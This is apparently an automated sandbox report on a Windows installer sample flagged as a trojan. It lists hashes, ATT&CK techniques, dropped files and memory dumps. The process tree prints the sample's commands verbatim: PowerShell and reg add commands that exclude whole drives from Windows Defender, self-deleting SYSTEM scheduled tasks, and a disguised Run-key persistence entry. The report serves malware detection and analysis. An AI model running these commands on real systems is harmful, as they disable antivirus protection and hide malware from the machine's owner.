7d534163c7d054fa4f8be885e1dc6e383c1b24d50e9bb4ce4ab643e823c35d38

Analysis

max time kernel
151s
max time network
144s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
23/10/2026, 06:27

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
install.2.0.12.exe
Size 38.9MB
Sample261023-g71bashz9w
SHA256 7d534163c7d054fa4f8be885e1dc6e383c1b24d50e9bb4ce4ab643e823c35d38
MD5 86213b5f4db547b856e6dee097a77d1e
SHA1 b7fcedfe7f8f51a57dd1f8e566409792b2b64559
SHA512 aa918ef72d4260a77e2fb23164036fbca9a3670ad28e14c715e985d034b693ce9ee8c0d730f34b731f2f188643ae9ca0f9be7050263a52791d1147d5ae3fda24
SSDEEP 49152:TPnycXVTyTyg5tJyNZ/W/hNbo1iTl8ZFPnMBwbePbgF+VS5sb5m+cZ2lyn0wgsXc:T6chqTShW/hNbSiQfMJPLmrUlsc
TLSH
T19397D69FBF81DE82F957D23498A75B602336D9B40BF1C307125427206F9F2998EE25D8
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution persistence trojan

Malware Config

Signatures

Windows security bypass 2 TTPs 6 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\6azkT5 = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
5064	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
5132	pFteQb.exe
1508	pFteQb.exe

Loads dropped DLL 2 IoCs

pid	Process
5132	pFteQb.exe
1508	pFteQb.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\6azkT5\\pFteQb.exe\""	pFteQb.exe

Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
5428	cmd.exe
3956	cmd.exe
1308	cmd.exe
1836	cmd.exe
4472	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	pFteQb.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 3 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4908	cmd.exe
4972	cmd.exe
3392	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	install.2.0.12.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	install.2.0.12.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	pFteQb.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	pFteQb.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
524	schtasks.exe
5816	schtasks.exe
3804	schtasks.exe
1852	schtasks.exe
1228	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3332	install.2.0.12.exe
3332	install.2.0.12.exe
3332	install.2.0.12.exe
3332	install.2.0.12.exe
3332	install.2.0.12.exe
3332	install.2.0.12.exe
3332	install.2.0.12.exe
3332	install.2.0.12.exe
3332	install.2.0.12.exe
3332	install.2.0.12.exe
3332	install.2.0.12.exe
3332	install.2.0.12.exe
3332	install.2.0.12.exe
3332	install.2.0.12.exe
3332	install.2.0.12.exe
3332	install.2.0.12.exe
3332	install.2.0.12.exe
3332	install.2.0.12.exe
3332	install.2.0.12.exe
3332	install.2.0.12.exe
3332	install.2.0.12.exe
3332	install.2.0.12.exe
3332	install.2.0.12.exe
3332	install.2.0.12.exe
3332	install.2.0.12.exe
3332	install.2.0.12.exe
3332	install.2.0.12.exe
3332	install.2.0.12.exe
3332	install.2.0.12.exe
3332	install.2.0.12.exe
3332	install.2.0.12.exe
3332	install.2.0.12.exe
5132	pFteQb.exe
5132	pFteQb.exe
5132	pFteQb.exe
5132	pFteQb.exe
5132	pFteQb.exe
5132	pFteQb.exe
5132	pFteQb.exe
5132	pFteQb.exe
5132	pFteQb.exe
5132	pFteQb.exe
5132	pFteQb.exe
5132	pFteQb.exe
5132	pFteQb.exe
5132	pFteQb.exe
5132	pFteQb.exe
5132	pFteQb.exe
5132	pFteQb.exe
5132	pFteQb.exe
5132	pFteQb.exe
5132	pFteQb.exe
5132	pFteQb.exe
5132	pFteQb.exe
5132	pFteQb.exe
5132	pFteQb.exe
5132	pFteQb.exe
5132	pFteQb.exe
5132	pFteQb.exe
5132	pFteQb.exe
5132	pFteQb.exe
5132	pFteQb.exe
5132	pFteQb.exe
5132	pFteQb.exe

Suspicious behavior: LoadsDriver 7 IoCs

pid	Process
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found

Suspicious use of AdjustPrivilegeToken 22 IoCs

description	pid	Process
Token: SeDebugPrivilege	5064	powershell.exe
Token: SeIncreaseQuotaPrivilege	5064	powershell.exe
Token: SeSecurityPrivilege	5064	powershell.exe
Token: SeTakeOwnershipPrivilege	5064	powershell.exe
Token: SeLoadDriverPrivilege	5064	powershell.exe
Token: SeSystemProfilePrivilege	5064	powershell.exe
Token: SeSystemtimePrivilege	5064	powershell.exe
Token: SeProfSingleProcessPrivilege	5064	powershell.exe
Token: SeIncBasePriorityPrivilege	5064	powershell.exe
Token: SeCreatePagefilePrivilege	5064	powershell.exe
Token: SeBackupPrivilege	5064	powershell.exe
Token: SeRestorePrivilege	5064	powershell.exe
Token: SeShutdownPrivilege	5064	powershell.exe
Token: SeDebugPrivilege	5064	powershell.exe
Token: SeSystemEnvironmentPrivilege	5064	powershell.exe
Token: SeRemoteShutdownPrivilege	5064	powershell.exe
Token: SeUndockPrivilege	5064	powershell.exe
Token: SeManageVolumePrivilege	5064	powershell.exe
Token: 33	5064	powershell.exe
Token: 34	5064	powershell.exe
Token: 35	5064	powershell.exe
Token: 36	5064	powershell.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 5132 wrote to memory of 5064	5132	pFteQb.exe	91
PID 5132 wrote to memory of 5428	5132	pFteQb.exe	93
PID 5428 wrote to memory of 524	5428	cmd.exe	95
PID 5428 wrote to memory of 3388	5428	cmd.exe	98
PID 5132 wrote to memory of 3956	5132	pFteQb.exe	101
PID 5428 wrote to memory of 2368	5428	cmd.exe	103
PID 3956 wrote to memory of 5816	3956	cmd.exe	105
PID 3956 wrote to memory of 5860	3956	cmd.exe	106
PID 5132 wrote to memory of 1308	5132	pFteQb.exe	107
PID 1308 wrote to memory of 3804	1308	cmd.exe	110
PID 3956 wrote to memory of 2272	3956	cmd.exe	111
PID 5132 wrote to memory of 1836	5132	pFteQb.exe	112
PID 1308 wrote to memory of 4340	1308	cmd.exe	114
PID 1308 wrote to memory of 4120	1308	cmd.exe	115
PID 1836 wrote to memory of 1852	1836	cmd.exe	116
PID 5132 wrote to memory of 4472	5132	pFteQb.exe	119
PID 1836 wrote to memory of 2624	1836	cmd.exe	121
PID 4472 wrote to memory of 1228	4472	cmd.exe	123
PID 1836 wrote to memory of 5476	1836	cmd.exe	124
PID 4472 wrote to memory of 1624	4472	cmd.exe	125
PID 4472 wrote to memory of 3444	4472	cmd.exe	126
PID 4908 wrote to memory of 1192	4908	cmd.exe	128
PID 3392 wrote to memory of 5432	3392	cmd.exe	130
PID 4972 wrote to memory of 3140	4972	cmd.exe	129

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\install.2.0.12.exe
"C:\Users\Admin\AppData\Local\Temp\install.2.0.12.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
PID:3332

C:\Users\Public\6azkT5\pFteQb.exe
"C:\Users\Public\6azkT5\pFteQb.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5132
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:5064
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\6azkT5\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5428
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\6azkT5\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:524
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3388
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2368
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:3956
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5816
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:5860
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2272
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:1308
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3804
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4340
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4120
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:1836
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1852
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2624
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:5476
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4472
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1228
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1624
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3444

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\6azkT5" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4908
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\6azkT5" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:1192

C:\Users\Public\6azkT5\pFteQb.exe
"C:\Users\Public\6azkT5\pFteQb.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1508

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:2912

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4972
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:3140

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3392
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:5432

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
Size 1KB
SHA256 131c9dda888c1e77ffd638132150765304dd9d60afdfaa6daf0396adbc319488
MD5 3a321b9713dd662a14e008f977283ca6
SHA1 ac557b1b7d5c9e97e2a2c5369f2538441de6a0a4
SHA512 4ca491d262887ca8f415397911ac15f5529ac0f30950efc3281c56b91d9f4dc2e1c3973bfadd9532e4ca3b7c050eae387b4a5bd0e98539261ede27e99ab2f2fd
TLSH
T14D31C6BF2F6D7D828F3A8E9115CAF2322CE9E1D09CD9149D1111C4545F443F22F5A80E
MD5 SHA1 SHA512 TLSH

Submit Download

B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
Size 1KB
SHA256 833b02c6c2ef8542ffe0bbe110c817398431ee1c5e99008655c60df1b6b66b8c
MD5 73dbf9aa009eb1066e05b7fcae59c2fb
SHA1 72a2ccac34ab362d227a0d34fceec7c9fa3b7661
SHA512 17c3152f5d7e670c416e87b43f6d1595333fabc19d0fd16fd0e9ede50a8605063b6d258820a7ad3a68d267fc0d0c7dbbe186c0d6e80c90753f2f4616dc005a20
TLSH
T18231B49B8E7A1002AF1D4F36A7D1C23B6CF1D1784DE80841653EC0BB9A04FB72F8A454
MD5 SHA1 SHA512 TLSH

Submit Download

0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
Size 512B
SHA256 e8bcc393c0ab78dce2d56005d2cd93ac0deed05b6e8f7369df2ab820c7b7cf5e
MD5 64c2defae742fb42ad11d85172c5fbce
SHA1 cbccf5eaa4cbd6f4c62d4fb0e730e77f1c82840f
SHA512 22845805af537caf6cc8bc21c3340c3b3d53e997cc52da6dce4baea986c37278022552e03a8039a3de08632b0eb98dedc9b92ac6b4c3c11caa499b41bc4f8c9b
TLSH
T1CFF0DC0C68B8513EF137DE3C8BDD3BAA4AAFF705280241A402F94709A445A053D5057A
MD5 SHA1 SHA512 TLSH

Submit Download

B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
Size 506B
SHA256 954dad5cd897378c26578f86f2d1bae9f618cba8c6ecb742fa5de57b7b0ffbbd
MD5 9cb4f9708fc4bc2f7d881a3b851ca359
SHA1 47a7d617e32a0d56fc1b7110a2b6069a11f8067c
SHA512 a136313bc8dda19ffed7d2f659418ce07ba682be0b93c6d3d29f4035d61f04fb5c8597b08be5d3bfc1b90a724d8bde1df9ea508d3e18d7c9326c2cafa634baf9
TLSH
T1E2F05C3C55F9410FF17BC9FC46CB75711DA6F723104755AE0AF503046A54D402C81366
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_s5ohnunf.bqs.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_s5ohnunf.bqs.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

UxEnhance64.dll

Path C:\Users\Public\6azkT5\UxEnhance64.dll
Size 3.1MB
SHA256 e664a5ec2007b2af64057a372c725eb16ba155fe5a8a2d6ee2b214032b11b0a4
MD5 149e62cc92fe012612a930cc91922fc0
SHA1 f19a455adbeacb0ad545201d8e31b34a3ce86ba3
SHA512 80227c11bf74bcfd4147d40c0476ba02cf0c61d07ded2ae1d2649dd6383cae8002d06c21bd06cb07ec4fd6e13db76ed871b50d9c69f8d2ec596e77847c1f7aca
SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+g:P9m29xx3Tiqt06ox6+z2rNNrKog
TLSH
T18DE523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

adoresd.dat

Path C:\Users\Public\6azkT5\adoresd.dat
Size 4.8MB
SHA256 011816da209c10c16e732b6bf64e81b2480f4f40f4be6cdf8bb9afab83bf7754
MD5 2cc657dde8e5cd7c310a21d130d4a81b
SHA1 05cca2ebb722257eedc4e08d3e7a0fa6fa8beef9
SHA512 601a50181f3ab1b3fd34c11252336cf386817cf5d733fdadcc19cbaee306a247c22beab1a77c9502d6d8fa812a09cbb73d39f54de6792c5bf6260ecbde1d172c
SSDEEP 98304:VWjdk+BWRdgiQH5fi2EP8QppMsYpfemnFjrIROuF7dYutYONNClD:VWj3WRdRQH5fimPGmNc7dBtYOc
TLSH
T11D3633AB2FC2F55F5582315954D8E0216D7FFEC626CA2B5D6E7888F7A32210A04BD24C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

msadox.tb

Path C:\Users\Public\6azkT5\msadox.tb
Size 8KB
SHA256 c7c82b12d3144a67d13bc53e91965d4bc1c95a1817abc4199e367eae5d8fd716
MD5 d89e475b136e6656f47cc3bcb308a93a
SHA1 e334130670fb55b144b687b83eb343ca71e79859
SHA512 299e9e56e03d7a35d561f108270722445596a8cbcf2ff9ef053121721a98559d04848327d0416bb053451118f574e64f8b50b89988cdb4322d2719e3d5ccc3be
SSDEEP 192:vqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:vsZqZOXQ3uqvR2Kfzp
TLSH
T150029E05D7A20CC3E2116C71CD9EB2F5AB13A1DADA3926719C67D4C167072DD2CE620D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

pFteQb.exe

Path C:\Users\Public\6azkT5\pFteQb.exe
Size 135KB
SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
MD5 9ec587911e501b73b7cf09f05d0ae17d
SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
TLSH
T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1508-583-0x0000019EFBB60000-0x0000019EFC437000-memory.dmp

Download

memory/1508-582-0x00007FFF3D740000-0x00007FFF3D742000-memory.dmp

Download

memory/1508-578-0x00007FFF1AAB0000-0x00007FFF1AFCE000-memory.dmp

Download

memory/1508-580-0x0000019EFBB60000-0x0000019EFC437000-memory.dmp

Download

memory/1508-588-0x0000019EFBB60000-0x0000019EFC437000-memory.dmp

Download

memory/1508-591-0x00007FFF3D730000-0x00007FFF3D732000-memory.dmp

Download

memory/1508-589-0x0000019EFBB60000-0x0000019EFC437000-memory.dmp

Download

memory/1508-587-0x0000019EFBB60000-0x0000019EFC437000-memory.dmp

Download

memory/1508-590-0x0000019EFBB60000-0x0000019EFC437000-memory.dmp

Download

memory/3332-525-0x00007FFF32A30000-0x00007FFF32A42000-memory.dmp

Download

memory/3332-0-0x0000000000440000-0x000000000044E000-memory.dmp

Download

memory/3332-524-0x0000000000440000-0x000000000044E000-memory.dmp

Download

memory/3332-504-0x00007FFF32A30000-0x00007FFF32A42000-memory.dmp

Download

memory/3332-2-0x0000000002010000-0x000000000201C000-memory.dmp

Download

memory/3332-1-0x0000000000440000-0x000000000044E000-memory.dmp

Download

memory/5064-599-0x0000022DC9E60000-0x0000022DC9E82000-memory.dmp

Download

memory/5064-605-0x0000022DC9EB0000-0x0000022DC9ECE000-memory.dmp

Download

memory/5064-606-0x0000022DE2330000-0x0000022DE23E2000-memory.dmp

Download

memory/5064-607-0x0000022DC9ED0000-0x0000022DC9EDA000-memory.dmp

Download

memory/5132-536-0x0000018166040000-0x0000018166917000-memory.dmp

Download

memory/5132-567-0x0000018166040000-0x0000018166917000-memory.dmp

Download

memory/5132-566-0x0000018166040000-0x0000018166917000-memory.dmp

Download

memory/5132-564-0x0000018166040000-0x0000018166917000-memory.dmp

Download

memory/5132-558-0x0000018166D60000-0x0000018166DAE000-memory.dmp

Download

memory/5132-559-0x0000018166E40000-0x0000018166ECA000-memory.dmp

Download

memory/5132-561-0x0000018166E40000-0x0000018166ECA000-memory.dmp

Download

memory/5132-562-0x0000018166E40000-0x0000018166ECA000-memory.dmp

Download

memory/5132-556-0x0000018166040000-0x0000018166917000-memory.dmp

Download

memory/5132-560-0x0000018166E40000-0x0000018166ECA000-memory.dmp

Download

memory/5132-550-0x0000018166040000-0x0000018166917000-memory.dmp

Download

memory/5132-546-0x0000018166040000-0x0000018166917000-memory.dmp

Download

memory/5132-545-0x0000018166040000-0x0000018166917000-memory.dmp

Download

memory/5132-544-0x0000018166040000-0x0000018166917000-memory.dmp

Download

memory/5132-539-0x0000018166040000-0x0000018166917000-memory.dmp

Download

memory/5132-602-0x0000018166040000-0x0000018166917000-memory.dmp

Download

memory/5132-543-0x0000018166040000-0x0000018166917000-memory.dmp

Download

memory/5132-538-0x00007FFF3D740000-0x00007FFF3D742000-memory.dmp

Download

memory/5132-530-0x00007FFF3D730000-0x00007FFF3D732000-memory.dmp

Download

memory/5132-531-0x00007FFF1AAB0000-0x00007FFF1AFCE000-memory.dmp

Download